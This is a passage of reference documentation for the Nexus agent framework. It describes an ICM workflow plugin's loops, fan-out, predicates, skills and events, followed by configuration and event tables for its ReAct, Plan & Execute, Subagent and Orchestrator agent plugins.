  until:
    - type: native
      handler: word_count_over
      args: { min_words: 1200 }
    - type: llm
      rubric: rubrics/coherence.md
  on_exhausted: human_gate     # human_gate (default) | error

until predicates run after each iteration’s artifact is written. All must pass for the loop to exit. When max_iterations runs out without convergence, on_exhausted: human_gate raises an icm.loop.exhausted HITL request offering accept / restart / error; on_exhausted: error halts the stage immediately. Restart-loop count is bounded globally by the plugin’s loop_max_restarts config.

Iteration artifacts persist under <stageDir>/iter_NN/. The aggregate <stageDir>/<filename> is written from the last iteration after convergence (or the last attempt if a human accepts).

Fan-out

Fan-out runs the stage once per item in a JSON list. Distinct from loop: loops are convergence-driven; fan-outs are data-driven. They compose — a stage with both fans out per item and each item independently iterates.

fan_out:
  source: 02_research/topics.json   # earlier stage's JSON output
  jsonpath: .topics                 # optional gojq expression; default "."
  item_var: topic                   # name surfaced into payload's <fan_out_item>
  item_id: .slug                    # optional gojq for per-item folder name
  max_parallel: 4                   # default 1
  on_item_failure: continue         # continue (default) | halt

source must resolve to a JSON artifact produced by an earlier stage (or to 00_input/...). The orchestrator parses it, applies jsonpath, and expects an array; non-arrays surface as a stage error. Each item writes under <stageDir>/items/<itemID>/<filename>, and the orchestrator emits an icm.fanout.item event at each item lifecycle boundary (activecompleted | failed).

The aggregate output filename is also written at the plain stage path so downstream stages can reference it via the normal <stage_id>/<filename> ref. Aggregation is a flat join of every item’s artifact for text outputs and a JSON array for JSON outputs.

Verifiers

Verifiers are reusable stage-shaped contracts kept under verifiers/. A stage references them by ID via the top-level verifiers: list. The loader validates that every referenced ID exists. They run after the stage’s own validators and may declare their own posture, tools, and predicates.

# stages/03_review/contract.md
---
verifiers:
  - house_voice_check
  - structural_balance
---
# verifiers/house_voice_check.md
---
display: House voice check
output:
  format: text
  filename: house_voice.md
  validators:
    - type: llm
      rubric: rubrics/house_voice.md
inputs:
  artifacts:
    - 02_script/script.md
---

Compare the script against the house style guide and flag violations.

Predicates

A predicate is the unified shape used by output.validators, loop.until, and verifier outputs. The type field discriminates; the loader compiles regex / gojq / JSON-schema at load time and rejects malformed predicates before boot completes.

schema

JSON-schema validation against the stage output.

- type: schema
  schema: schemas/outline.json
  name: outline_shape          # optional; default "<type>_<index>"

Path resolves against the workspace root. The loader reads the file, parses it as JSON, and compiles it as draft-2020 to catch malformed schemas at boot.

regex

Regex match against text output.

- type: regex
  pattern: '^FADE IN:'
  anchor: first_line           # whole (default) | first_line | last_line
  message: "Screenplay must open with FADE IN:."

The loader compiles the pattern at load time; failures surface in the load error aggregate. message populates the predicate’s Feedback field, so LLMs retrying under until_valid see your authored guidance.

native (builtin handlers)

Native predicates dispatch to a Go handler registered in the plugin. ICM ships four built-ins.

HandlerRequired argsOptional argsBehavior
word_count_undermax_words: int > 0Passes when len(strings.Fields(artifact)) < max_words.
word_count_overmin_words: int >= 0Passes when len(strings.Fields(artifact)) > min_words.
contains_required_idsids: []string (non-empty)case_insensitive: bool (default false)Passes when every id appears at least once in the artifact. Empty ids is treated as malformed args, not vacuous truth.
json_path_existspath: string (gojq query)must_be_non_empty: bool (default true)Parses artifact as JSON and runs the query. Passes when at least one result is returned and (when must_be_non_empty) at least one is non-null / non-empty.
- type: native
  handler: contains_required_ids
  args:
    ids: [PROTAGONIST, ANTAGONIST]
    case_insensitive: false

command

Shell-out predicate. The script reads the artifact on stdin and exits 0 to pass, non-zero to fail. Stderr becomes the feedback.

- type: command
  run: scripts/lint_screenplay.sh
  timeout_seconds: 30          # optional; falls back to plugin default

The loader resolves run against the workspace root, verifies the file exists, and verifies it has the executable bit set. Scripts run inside the engine sandbox (the same engine.Sandbox injected into the plugin), so the workflow’s command surface is constrained by the host’s sandbox policy.

llm

LLM judge predicate. The judge sees the artifact and a rubric, and returns a structured verdict.

- type: llm
  rubric: rubrics/coherence.md
  model: judge_strict          # optional posture override
  name: coherence_check        # optional

model names a registered posture (not a raw model). When omitted, the plugin uses default_judge_posture from its config. Workspaces that use type: llm predicates without setting either are rejected at runtime with default_judge_posture is not configured.

The judge posture must return JSON conforming to a baked-in judge schema (verdict + score + feedback). The plugin registers this schema at boot.

human

In-loop human predicate. The orchestrator emits a HITL request and waits. This is the right tool when “looks good” is the gating criterion for convergence.

- type: human
  prompt: "Does this iteration meet the brief?"
  require_feedback_on_continue: true   # optional

continue (without selecting the explicit pass / fail choice) under turns.policy: until_human_approves advances to the next turn and routes the human’s free-text response into <previous_attempt><human_feedback>.

Skills

Skills are bundles a stage can load at dispatch. Each skill is a folder containing SKILL.md (YAML frontmatter name + description, then a body) and an optional references/ subfolder with deferred-load files.

Discovery is workspace-scoped — ICM does not use the global nexus.skills scan_paths. The loader walks two locations in precedence order:

  1. stages/<NN_slug>/skills/<name>/ — stage-local (wins on conflict).
  2. shared/skills/<name>/ — workspace-wide.

Reference shape:

shared/skills/markdown-screenplay/
  SKILL.md
  references/
    fade_transitions.md
    standard_formatting.md

SKILL.md:

---
name: markdown-screenplay
description: How to format screenplays in markdown for downstream parsing.
---

Always use INT./EXT. headers. Capitalize character names before dialogue.
See references/standard_formatting.md for the full house spec.

Stages opt in via inputs.skills. At dispatch the orchestrator inlines SKILL.md body into <grounding> and registers the read_skill_reference[_<suffix>] tool so the agent can pull a specific reference on demand. References are NOT inlined by default — that is the point of progressive disclosure.

XML payload reference

Each turn assembles a single XML user message. The shape is uniform across stage modes; loop iterations and fan-out items add their own elements but the surrounding skeleton is invariant. Inline blocks contain the content; _ref variants point at filesystem paths.

<icm_turn stage="02_script" turn="1" iteration="3" run_id="r_abc">
  <grounding>
    <skill name="markdown-screenplay" source="workspace">
      <description><![CDATA[How to format screenplays...]]></description>
      <body><![CDATA[Always use INT./EXT. headers...]]></body>
      <references_available>
        <ref path="standard_formatting.md" description="House spec"/>
      </references_available>
    </skill>
    <file path="style_guide.md"><![CDATA[...]]></file>
    <shared_file path="house_voice.md"><![CDATA[...]]></shared_file>
  </grounding>
  <layer_data>
    <artifact path="01_outline/outline.md"><![CDATA[# Act I...]]></artifact>
    <artifact_ref path="01_outline/huge.json" size_bytes="48000"/>
    <fan_out_item key="topic"><![CDATA[{"slug":"act1","title":"Setup"}]]></fan_out_item>
  </layer_data>
  <session_context>tenant: acme
project: screenplay-pilot</session_context>
  <previous_attempt turn="2">
    <output><![CDATA[FADE IN: ...]]></output>
    <validator_feedback>
      <failure name="word_count_over" type="native">
        word count 420 is not strictly greater than min_words=800
      </failure>
    </validator_feedback>
    <human_feedback><![CDATA[Tighten Act 2.]]></human_feedback>
  </previous_attempt>
  <previous_iteration index="2">
    <artifact path="02_script/iter_02/script.md"><![CDATA[...]]></artifact>
    <exit_failures>
      <failure name="coherence_check" type="llm">Act II drifts.</failure>
    </exit_failures>
  </previous_iteration>
  <instructions><![CDATA[Expand the outline...]]></instructions>
</icm_turn>

Notes:

  • _ref elements appear when an artifact exceeds inline_artifact_limit_bytes, fails resolution (missing="true"), or contains non-UTF-8 bytes.
  • Passing validator / exit-condition results are filtered out — the agent only sees actionable failures.
  • The instructions block contains the stage contract body verbatim.
  • <session_context> carries the session’s current general-namespace tags as sorted key: value lines, rebuilt fresh on every turn — unlike operator.md’s one-time .Context, this reflects a tag written at any point up to the turn being dispatched. Omitted entirely when no general-namespace tags are set. See Session Tags.

Plan + progress events

ICM emits the engine’s generic plan.created once at run start and plan.progress after each stage transition, so generic UIs that render a plan see the workflow without ICM-specific knowledge. On top of that, the following typed events surface richer detail. All payloads carry a _schema_version field and live in plugins/workflows/icm/icmtypes/types.go.

EventWhenNotes
icm.run.startedAfter workspace load + plan.created, before stage 1 dispatches.Carries run_id, instance_id, workspace_root, stages count.
icm.run.completedAll stages finished without halt.Includes elapsed_seconds.
icm.run.haltedStage error policy halts, gate rejects, or run context cancels.cancelled: true distinguishes ctx cancellation from gate reject.
icm.stage.startedStage execution begins, before any human_gate: start gate.Carries derived posture name + 1-based stage order.
icm.stage.completedArtifact written + any end gate resolved.Includes iterations_run + convergence_failed for looping stages.
icm.stage.failedDispatch error policy halts, gate rejects, or loop.on_exhausted: error fires.Carries free-text reason.
icm.stage.iterationOnce per loop iteration, immediately before the iteration’s invocation.Includes prior iteration’s exit_failures.
icm.turnAfter each turn within an invocation.Richer-UI feed only; basic UIs already see stage transitions via plan.progress.
icm.fanout.itemItem lifecycle boundary in a fan-out stage.Status is active / completed / failed.
icm.predicate.failedAny predicate evaluation returns Verdict=false.Single source of truth for failure visibility — pass paths are not emitted.
workflow.progressRun start, stage start, every iteration, every fan-out item completion, stage / run completion, halt / failure.Engine-generic structured payload (events.WorkflowProgress). Powers the dedicated workflow status panel in nexus.io.tui and the indicator chip in nexus.io.browser. Emitted alongside the icm.* family, not in place of it.

In addition, with emit_progress_thinking_steps: true (default) ICM emits thinking.step events tagged Phase="icm.<stage_id>" so UIs that render thinking surfaces show inline stage transitions without subscribing to the typed event family.

UI feedback surfaces

Both bundled IO plugins (nexus.io.tui, nexus.io.browser) wire ICM progress directly so users see real-time feedback during long runs without enabling extra observers:

  • Scrollback (thinking-step stream) — every icm.* event is formatted into a one-line audit row via the helpers in plugins/workflows/icm/icmtypes/format.go and rendered alongside other thinking steps. Long runs leave a complete trail of stage transitions, iteration retries, predicate failures, and fan-out item ticks.
  • Dedicated workflow panel — the generic workflow.progress event drives a sticky surface (TUI right-rail panel, browser chip indicator) that updates in place: workflow name, stage X/Y, iter N/M, turn N/M, fan-out items done/total, status badge, and the names of any predicate failures from the last iteration.

The two surfaces complement each other: scrollback for “what happened”, dedicated panel for “where are we now”.

Session layout + artifacts

Every run owns a directory under <dataDir>/<runID>/. dataDir is the plugin’s per-session data dir provided by the engine, so multiple concurrent runs do not collide.

<engine_session>/plugins/<instance>/<runID>/
  .icm/
    run.json              run metadata: workspace path, started at, plan
    state.json            mutable per-stage progress (updated as stages run)
  00_input/
    premise.txt           copied from io.input.Content or workspace_inputs_dir
  01_outline/
    outline.md
    outline.md.icm.json   per-artifact sidecar: writer, validators, schema
  02_script/
    iter_01/
      script.md
      script.md.icm.json
    iter_02/
      script.md
      script.md.icm.json
    script.md             aggregate (last iteration after convergence)
    script.md.icm.json
  03_review/
    items/                fan-out items live here
      act1/
        review.md
      act2/
        review.md
    review.md             flat aggregate written for downstream refs
    review.md.icm.json

Logical refs (<stage_id>/<filename> in inputs.artifacts or fan_out.source) resolve as follows:

  1. Plain stage path wins when present.
  2. Otherwise the highest-numbered iter_NN/<filename> wins (numeric sort — iter_10 beats iter_9).
  3. For fan-out stages, the aggregate at the plain stage path is what downstream stages see; per-item files are addressable only inside the fan-out itself.

<instance> is nexus.workflows.icm for the default instance, or the instance-suffixed ID (nexus.workflows.icm.script, etc.) for additional instances. The engine maps slashes in instance IDs to dots when computing the on-disk directory.

Multi-instance setup

Multiple ICM instances coexist in one engine via the nexus.workflows.icm/<suffix> form. Each instance pins its own workspace, judge posture, and tool namespace.

plugins:
  active:
    - nexus.agent.postures
    - nexus.control.hitl
    - nexus.workflows.icm/script
    - nexus.workflows.icm/research

  nexus.workflows.icm/script:
    workspace: ~/work/screenplay-pipeline
    default_judge_posture: judge_strict
    default_workflow_posture: writer_base

  nexus.workflows.icm/research:
    workspace: ~/work/topic-research
    default_judge_posture: judge_basic
    cache_size: 64        # research is read-heavy; caching is safe here
    auto_include_skill_reference_tool: false

Per-instance details:

  • The skill-reference tool name is namespaced per instance: read_skill_reference_script, read_skill_reference_research. Default instances (no suffix) get the unsuffixed read_skill_reference.
  • Derived posture names embed the instance suffix so the registry stays unambiguous.
  • Each instance carries a distinct <runID> namespace and a distinct data-dir prefix.
  • The icm_validate LLM tool is similarly suffixed (icm_validate_script, icm_validate_research).

A single judge / human-gate plugin services all instances. The HITL request’s RequesterPlugin field carries the suffixed instance ID so operators can route gates per workflow.

Troubleshooting

Workspace fails to load.

ICM aggregates every validation error before returning, so the boot log shows them as a bulleted list (workspace load failed (N errors):). Common causes:

  • Duplicate numeric prefixes (01_outline + 01_intro) — execution order is ambiguous; renumber one.
  • Stage folder named 00_input — reserved name; rename.
  • output.filename containing / — must be a bare filename; the loader builds the path.
  • inputs.artifacts ref to a later stage — refs must point at the reserved 00_input or at a stage with a lower numeric prefix.
  • output.format: json without output.schema — JSON outputs always require a schema.
  • turns.policy: until_valid with empty output.validators — without validators there is nothing to retry against.
  • type: command predicate pointing at a non-executable script — chmod +x the file.

The aggregated error message includes the exact file path and line number when applicable.

Stage halts with default_judge_posture is not configured.

A type: llm predicate ran and the plugin had no posture to dispatch the judge against. Wire a judge in one of two ways:

# Plugin-level fallback (every llm predicate without an explicit `model:`).
plugins:
  nexus.workflows.icm:
    default_judge_posture: judge_basic
# Per-predicate override.
output:
  validators:
    - type: llm
      rubric: rubrics/quality.md
      model: judge_strict

The named posture must be registered with nexus.agent.postures (typically via its scan_dirs config) before ICM boots.

Loop never converges.

loop.max_iterations is the per-pass cap. When it runs out under on_exhausted: human_gate (the default), the human is offered accept / restart / error. restart wipes the stage directory and reruns from iteration 1. The plugin’s loop_max_restarts caps the number of restarts per run (default 3, 0 for unlimited) so a never-converging workspace cannot spin forever. If you see repeated restarts, the root cause is usually:

  • Exit conditions that the writer model cannot satisfy (rubric too tight, or contradicts an earlier rubric).
  • Operator prompt that does not reference the prior-iteration failure block. The default operator template handles this; custom operators must read <previous_iteration><exit_failures> and address each failure.
  • on_exhausted: error makes failures loud and immediate — useful in CI.

Fan-out source doesn’t resolve.

The loader validates fan_out.source shape and that the named stage runs earlier, but the artifact filename is checked against the prior stage’s declared output.filename. Two common mistakes:

  • Filename typo (topics.json vs topic.json) — change one or the other.
  • Source stage’s output.format is text; fan-out always parses JSON. Make the producer JSON or change the consumer.

At runtime, if the source produces a non-array (or the jsonpath lands on a non-array), the stage emits icm.stage.failed with a reason of fan_out.source did not resolve to an array. Inspect the source artifact in the session directory directly — the orchestrator never modifies it.

Run cancelled mid-HITL.

When the run context cancels while ICM is blocked on a HITL response, the plugin emits hitl.cancel with the pending request ID so the UI can clear its pending prompt. The run then completes with icm.run.halted, cancelled: true.

See also

  • configuration reference — every config key with defaults.
  • agent postures — base postures stages inherit from; required at boot.
  • HITL — the registry ICM routes gates through.
  • skills — the engine-level skill machinery; ICM’s per-workspace skills are independent but share the same SKILL.md shape.
  • Session Tags — the .Context map operator.md templates read and the per-turn <session_context> block.
  • plugins/workflows/icm/schema.json — JSON schema for the config block.
  • plugins/workflows/icm/workspace/types.go — full Go type model.
  • plugins/workflows/icm/icmtypes/types.goicm.* event payload structs.

Plugin Overview

Nexus ships with 21 built-in plugins organized into categories. Activate only the plugins you need — the engine handles dependency resolution and boot ordering automatically.

Plugin Categories

CategoryCountPurpose
Agents4Core reasoning loops — ReAct, Plan & Execute, Subagent, Orchestrator
LLM Providers2LLM API integration (Anthropic, OpenAI)
Tools5Capabilities the agent can invoke — shell, files, PDF, opener, ask user
Memory2Conversation persistence and context window compaction
I/O Interfaces2User interaction — terminal UI and browser-based UI
Observers2Event logging and thinking step persistence
Planners2Execution planning — LLM-generated or pre-configured
Skills1Skill discovery and management
System1Dynamic system prompt variables
Control1Cancellation coordination

Choosing Plugins

A minimal useful agent needs at least:

  • One I/O plugin — How the user interacts (nexus.io.tui or nexus.io.browser)
  • One LLM provider — Which AI model to use (nexus.llm.anthropic, nexus.llm.openai)
  • One agent — The reasoning strategy (nexus.agent.react is the most common)

Everything else is optional. Add tools to give the agent capabilities, memory to persist conversations, planners for complex task decomposition, and observers for debugging.

Common Combinations

Conversational Agent (no tools)

active:
  - nexus.io.tui
  - nexus.llm.anthropic
  - nexus.agent.react
  - nexus.memory.capped

Coding Assistant

active:
  - nexus.io.tui
  - nexus.llm.anthropic
  - nexus.agent.react
  - nexus.tool.shell
  - nexus.tool.file
  - nexus.control.hitl
  - nexus.skills
  - nexus.memory.capped

Planned Coding Workflow

active:
  - nexus.io.tui
  - nexus.llm.anthropic
  - nexus.agent.react
  - nexus.planner.dynamic
  - nexus.observe.thinking
  - nexus.tool.shell
  - nexus.tool.file
  - nexus.control.hitl
  - nexus.skills
  - nexus.memory.capped
  - nexus.memory.compaction

Multi-Agent Orchestration

active:
  - nexus.io.tui
  - nexus.llm.anthropic
  - nexus.agent.orchestrator
  - nexus.agent.subagent
  - nexus.agent.react
  - nexus.tool.shell
  - nexus.tool.file
  - nexus.memory.capped
  - nexus.control.cancel

Plugin Documentation Format

Each plugin page in this reference covers:

  • ID — The plugin identifier used in config
  • Purpose — What it does and when to use it
  • Configuration — All config options with types and defaults
  • Events — What it subscribes to and emits
  • Dependencies — Other plugins it requires
  • Usage examples — Config snippets and common patterns

Agent Plugins

Agents are the brain of a Nexus harness. They receive user input, orchestrate LLM calls and tool usage, and produce output. You must activate exactly one agent plugin (unless using the orchestrator pattern, which depends on subagent + react).

Available Agents

PluginIDStrategy
ReActnexus.agent.reactIterative reason-and-act loop
Plan & Executenexus.agent.planexecCreate a plan first, then execute step by step
Subagentnexus.agent.subagentSpawns child agents as tools
Orchestratornexus.agent.orchestratorDecomposes tasks and dispatches to parallel workers
Remote AG-UI Agentsnexus.agent.agui_remoteDelegates to a remote AG-UI agent as a tool
Remote A2A Agentsnexus.agent.a2a_remoteDelegates to a remote A2A agent as a tool

Choosing an Agent

  • ReAct — Best for most use cases. Simple, flexible, supports planning as an optional phase. Start here.
  • Plan & Execute — When you want a mandatory planning phase with explicit step tracking and optional replanning on failure.
  • Orchestrator — For complex tasks that benefit from parallel decomposition across multiple subagent workers.
  • Subagent — Not used standalone. Provides a spawn_subagent tool that other agents (or the orchestrator) can invoke.

Agent + Planner Interaction

The ReAct and Plan & Execute agents can optionally integrate with planners:

  • ReAct + Dynamic Planner — LLM generates a plan before the agent starts iterating. The plan is injected into the system prompt.
  • ReAct + Static Planner — Fixed steps from config are injected into the system prompt.
  • Plan & Execute — Has its own built-in planning phase (uses LLM directly, no separate planner plugin needed).

ReAct Agent

The ReAct (Reason + Act) agent is the default and most commonly used agent strategy. It runs an iterative loop: send messages to the LLM, parse the response, execute any tool calls, feed results back, and repeat until the LLM produces a final answer.

Details

IDnexus.agent.react
DependenciesNone

Configuration

KeyTypeDefaultDescription
planningboolfalseEnable planning phase before iteration starts
model_rolestring(default)Model role to use (e.g., reasoning, balanced, quick)
system_promptstring(none)Inline system prompt text
system_prompt_filestring(none)Path to a system prompt markdown file
parallel_toolsboolfalseRun multiple tool calls from a single LLM response in parallel
max_concurrentint4Concurrency cap when parallel_tools: true
tool_choicestring/object(none)Tool choice mode — shorthand string or object with mode/name/sequence

Iteration limits are not an agent setting — enforce them with nexus.gate.endless_loop (default cap: 25 LLM calls per turn).

Events

Subscribes To

EventPriorityPurpose
io.input50Receives user messages to start processing
tool.result50Receives results from tool execution
llm.response50Receives non-streaming LLM responses
llm.stream.chunk50Receives streaming response chunks
llm.stream.end50Streaming complete signal
skill.loaded50Receives loaded skill content
tool.register50Dynamically registers available tools
plan.result50Receives completed plans from planners
cancel.active5Handles cancellation
cancel.resume5Handles resumption after cancel
memory.compacted50Updates conversation history after compaction
gate.llm.retry50Retries previously vetoed LLM request
agent.tool_choice50Dynamic tool choice override from other plugins

Emits

EventWhen
llm.requestSending a message to the LLM
before:tool.invokeBefore executing a tool (vetoable — enables approval)
tool.invokeInvoking a tool
before:tool.resultBefore tool result propagation (vetoable)
tool.resultSynthetic tool results (e.g., for vetoed tools)
before:io.outputBefore sending output (vetoable)
io.outputFinal agent response to the user
io.statusStatus updates (thinking, tool_running, etc.)
thinking.stepReasoning/thinking steps for persistence
plan.requestRequesting a plan from a planner plugin
agent.turn.startBeginning of a conversation turn
agent.turn.endEnd of a conversation turn

How It Works

  1. User sends a message → io.input arrives
  2. Agent builds the message history and sends llm.request
  3. LLM responds with text and/or tool calls
  4. If tool calls exist:
    • Agent emits before:tool.invoke (can be vetoed for approval)
    • Agent emits tool.invoke for each tool call
    • Tool plugin emits before:tool.result (vetoable — gates can inspect/block)
    • Waits for tool.result events
    • Loops back to step 2 with tool results appended
  5. If no tool calls, the LLM’s response is the final answer → io.output
  6. Stops when nexus.gate.endless_loop vetoes the next llm.request (default: 25 calls per turn)

Planning Integration

When planning: true, the agent requests a plan before starting iteration:

  1. Agent emits plan.request with the user’s input
  2. A planner plugin (dynamic or static) generates a plan
  3. Agent receives plan.result
  4. The plan steps are injected into the system prompt as context
  5. Normal ReAct iteration begins with the plan as guidance

Session Context in Prompts

The system prompt gets a <session_context> section alongside <skill_context>/<execution_plan>/<current_task>: the current session’s general-namespace (non-_-prefixed) tags, rendered fresh on every build and omitted entirely when none are set. See Prompt Registry → Agent-Level Semantic Tags and Session Tags for what populates it and why the reserved namespace never reaches the prompt.

Tool Choice

Controls whether the LLM must use tools. Supports static defaults, per-iteration sequences, and dynamic overrides.

Static default (shorthand or object)

nexus.agent.react:
  tool_choice: required              # shorthand: force tool use every iteration
  # or
  tool_choice:
    mode: auto                       # "auto" | "required" | "none" | "tool"
    name: shell                      # only when mode == "tool"

Per-iteration sequence

nexus.agent.react:
  tool_choice:
    sequence:
      - mode: required               # iteration 1: force tool use
      - mode: tool                   # iteration 2: force specific tool
        name: shell
      - mode: auto                   # iteration 3+: last entry repeats

Dynamic override

Any plugin can emit agent.tool_choice with AgentToolChoice{Mode, ToolName, Duration}:

  • Duration: "once" — applies to next LLM request only, then reverts to config default.
  • Duration: "sticky" — persists until replaced by another override. Reset on new turn.

Example Configuration

nexus.agent.react:
  planning: true
  model_role: balanced
  system_prompt: |
    You are a coding assistant powered by Nexus. You help users write, debug, refactor, and understand code.

    ## Guidelines

    1. Always explain your reasoning before making changes
    2. Run tests after modifications to verify correctness
    3. Prefer minimal, targeted changes over broad refactors
    4. Ask for clarification when requirements are ambiguous
    5. Read files in chunks 16kb or less
    6. Follow the existing code style and conventions of the project
  tool_choice:
    sequence:
      - mode: required
      - mode: auto

Tool Discovery

The agent discovers tools dynamically through tool.register events. When tool plugins initialize, they emit their tool definitions. The agent collects these and includes them in every llm.request.

This means adding a tool to your agent is as simple as adding it to the active list — no explicit wiring needed.

Plan & Execute Agent

The Plan & Execute agent separates planning from execution. It delegates plan generation to whichever planner plugin is active on the bus (e.g. nexus.planner.dynamic or nexus.planner.static) while retaining full control of the surrounding flow: phase transitions, approval, step execution, re-planning on failure, and final synthesis.

This means you can change how plans are produced — LLM-driven, static, role-specialized, or a custom planner you build — without modifying the agent.

Details

IDnexus.agent.planexec
DependenciesA planner plugin (e.g. nexus.planner.dynamic) must be active

Configuration

KeyTypeDefaultDescription
execution_model_rolestringbalancedModel role used for step execution and synthesis
replan_on_failurebooltrueRequest a fresh plan if a step fails (up to 2 replans per turn)
approvalstringneverWhen planexec requires approval after the planner returns a plan: always, never
system_promptstring(none)Inline system prompt for execution/synthesis
system_prompt_filestring(none)Path to system prompt file

Per-step iteration limits are enforced by nexus.gate.endless_loop, not by planexec itself. Plan-step counts are managed by the planner that produces plan.result.

Plan-generation options (model, prompt, max steps, planner-side approval) now live on the planner plugin itself. See the planner docs.

Approval layers

Two independent approval gates may apply:

  1. Planner-side — e.g. nexus.planner.dynamic supports always / auto / never. When the planner denies or the user rejects, the planner emits plan.result with Approved: false and planexec will end the turn.
  2. planexec-side — even when the planner returns an approved plan, setting planexec’s own approval: always will emit a second plan.approval.request before execution begins.

To avoid double-prompting, pick one side to own approval and set the other to never.

Events

Subscribes To

EventPriorityPurpose
io.input50Receives user messages
tool.result50Tool execution results
llm.response50Step execution and synthesis responses
llm.stream.chunk / llm.stream.end50Streaming synthesis output
skill.loaded50Skill content
tool.registerTool discovery
plan.result50Receives generated plans from the active planner
plan.approval.response50User response to planexec-side approval
memory.compacted50History compaction

Emits

EventWhen
plan.requestStart of a turn, or when re-planning after a step failure
plan.approval.requestWhen planexec’s own approval: always is set
llm.requestStep execution and final synthesis
before:tool.invoke / tool.invokeTool invocation
before:tool.resultBefore tool result propagation (vetoable)
agent.planAfter each step status change
io.statusPhase transitions
thinking.stepReasoning steps
agent.turn.start / agent.turn.endTurn boundaries

Phases

The agent transitions through these phases:

stateDiagram-v2
    direction LR
    [*] --> idle
    idle --> planning: agent.turn.start
    planning --> awaiting_approval: approval == always
    planning --> executing: approval skipped
    awaiting_approval --> executing: user approves
    awaiting_approval --> idle: user rejects
    executing --> executing: next step
    executing --> planning: step failed + replan_on_failure
    executing --> synthesizing: all steps complete
    synthesizing --> idle: agent.turn.end
    idle --> [*]
  1. Planning — Emits plan.request; waits for plan.result from the active planner.
  2. Awaiting Approval — Only entered if planexec’s own approval: always.
  3. Executing — Runs each step sequentially, with its own message history and iteration budget.
  4. Synthesizing — After all steps complete, generates a summary of results.

Replanning

When replan_on_failure: true and a step fails, the agent:

  1. Collects the status and results of completed/failed/pending steps.
  2. Emits a fresh plan.request whose Input contains the original request plus a structured summary of what happened.
  3. Waits for the new plan.result and resumes execution with the revised plan.

Because re-planning is just another plan.request, any planner implementation automatically participates.

Example Configuration

plugins:
  active:
    - nexus.agent.planexec
    - nexus.planner.dynamic    # any planner plugin works
    # ...

  nexus.agent.planexec:
    execution_model_role: balanced
    replan_on_failure: true
    approval: never
    system_prompt: |
      You are a coding assistant powered by Nexus. You help users write, debug, refactor, and understand code.

      ## Guidelines

      1. Always explain your reasoning before making changes
      2. Run tests after modifications to verify correctness
      3. Prefer minimal, targeted changes over broad refactors
      4. Ask for clarification when requirements are ambiguous
      5. Read files in chunks 16kb or less
      6. Follow the existing code style and conventions of the project

  nexus.planner.dynamic:
    model_role: reasoning
    max_steps: 8
    approval: auto

When to Use

Choose Plan & Execute over ReAct when:

  • Tasks are complex and benefit from upfront decomposition.
  • You want explicit step tracking and progress visibility.
  • You want to swap planning strategies (LLM, static, domain-specific) without touching the agent.
  • You need a different model tier for planning vs. execution.

Subagent

The subagent plugin provides a tool that spawns independent child agents. Other agents (or the orchestrator) can invoke it to delegate subtasks. Each instance can be configured with its own system prompt, tool name, and model role.

Details

IDnexus.agent.subagent
Dependenciesnexus.agent.react
Multi-instanceYes — supports instance suffixes (e.g., nexus.agent.subagent/researcher)

Configuration

KeyTypeDefaultDescription
max_iterationsint10Max iterations for spawned agents
model_rolestring(default)Default model role for spawned agents
system_promptstring(none)Default system prompt for spawned agents
system_prompt_filestring(none)Path to default system prompt file
tool_namestringspawn_subagentName of the tool exposed to the parent agent
tool_descriptionstring(auto)Description of the tool

Tool Definition

The subagent registers a tool (default name: spawn_subagent) with these parameters:

ParameterTypeRequiredDescription
taskstringYesThe task description for the subagent
system_promptstringNoOverride the default system prompt
model_rolestringNoOverride the default model role

Events

Subscribes To

EventPriorityPurpose
tool.invoke50Handles spawn tool invocations
tool.register50Collects available tools

Emits

EventWhen
tool.registerRegisters the spawn tool at boot
subagent.spawnWhen a new subagent is created

Multi-Instance Usage

Each instance creates its own spawn tool. Use instance suffixes to create specialized spawners:

plugins:
  active:
    - nexus.agent.react
    - nexus.agent.subagent/researcher
    - nexus.agent.subagent/writer

  nexus.agent.subagent/researcher:
    max_iterations: 15
    model_role: reasoning
    system_prompt: "You are a research specialist. Gather information thoroughly."
    tool_name: spawn_researcher

  nexus.agent.subagent/writer:
    max_iterations: 10
    model_role: balanced
    system_prompt: "You are a technical writer. Produce clear, concise documentation."
    tool_name: spawn_writer

The parent agent will see two tools: spawn_researcher and spawn_writer.

Session Context in Prompts

Each spawned agent’s system prompt gets a <session_context> block prepended ahead of the configured system_prompt/system_prompt_file content — the current session’s general-namespace (non-_-prefixed) tags, rendered fresh per spawn and omitted entirely when none are set. See Prompt Registry → Agent-Level Semantic Tags and Session Tags for what populates it and why the reserved namespace never reaches the prompt.

Subagent Events

When a subagent runs, these events are emitted:

EventPayloadWhen
subagent.spawnSpawnID, Task, ParentTurnIDSubagent created
subagent.startedSpawnID, Task, ParentTurnIDSubagent begins execution
subagent.iterationSpawnID, Iteration, ContentEach reasoning iteration
subagent.completeSpawnID, Result, TokensUsed, CostUSDSubagent finished

Example

A ReAct agent with a research subagent:

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.agent.subagent
    - nexus.memory.capped

  nexus.agent.react:
    max_iterations: 10
    system_prompt: "You can delegate research tasks using the spawn_subagent tool."

  nexus.agent.subagent:
    max_iterations: 10
    system_prompt: "Take in the user input and summarize the problem."

Orchestrator

The orchestrator implements a manager-worker pattern. It uses an LLM to decompose complex tasks into subtasks, then dispatches them to parallel subagent workers. Results are synthesized into a final response.

Details

IDnexus.agent.orchestrator
Dependenciesnexus.agent.subagent

Configuration

KeyTypeDefaultDescription
max_workersint5Maximum concurrent subagent workers
max_subtasksint8Maximum number of subtasks to decompose into
worker_max_iterationsint10Max iterations per worker subagent
orchestrator_model_rolestringreasoningModel for task decomposition
worker_model_rolestringbalancedModel for worker execution
synthesis_model_rolestringbalancedModel for result synthesis
fail_fastboolfalseStop all workers if one fails
system_promptstring(none)System prompt for the orchestrator
system_prompt_filestring(none)Path to system prompt file

Events

Subscribes To

EventPriorityPurpose
io.input50Receives user tasks
tool.result50Tool results during decomposition
llm.response / llm.stream.*50LLM responses
skill.loaded50Skill content
tool.register50Tool discovery
subagent.started50Worker started notification
subagent.iteration50Worker progress
subagent.complete50Worker finished
cancel.active / cancel.resume5Cancellation
memory.compacted50History compaction

Emits

EventWhen
llm.requestDecomposition and synthesis LLM calls
before:tool.invoke / tool.invokeTool invocation
before:tool.resultBefore tool result propagation (vetoable)
thinking.stepDecomposition and synthesis reasoning
io.statusPhase transitions
agent.turn.start / agent.turn.endTurn boundaries

Phases

stateDiagram-v2
    direction LR
    [*] --> idle
    idle --> decomposing: agent.turn.start
    decomposing --> dispatching: subtasks ready
    dispatching --> executing: workers spawned
    executing --> executing: subtask completed
    executing --> synthesizing: all subtasks done
    synthesizing --> idle: agent.turn.end
    idle --> [*]

    note right of decomposing
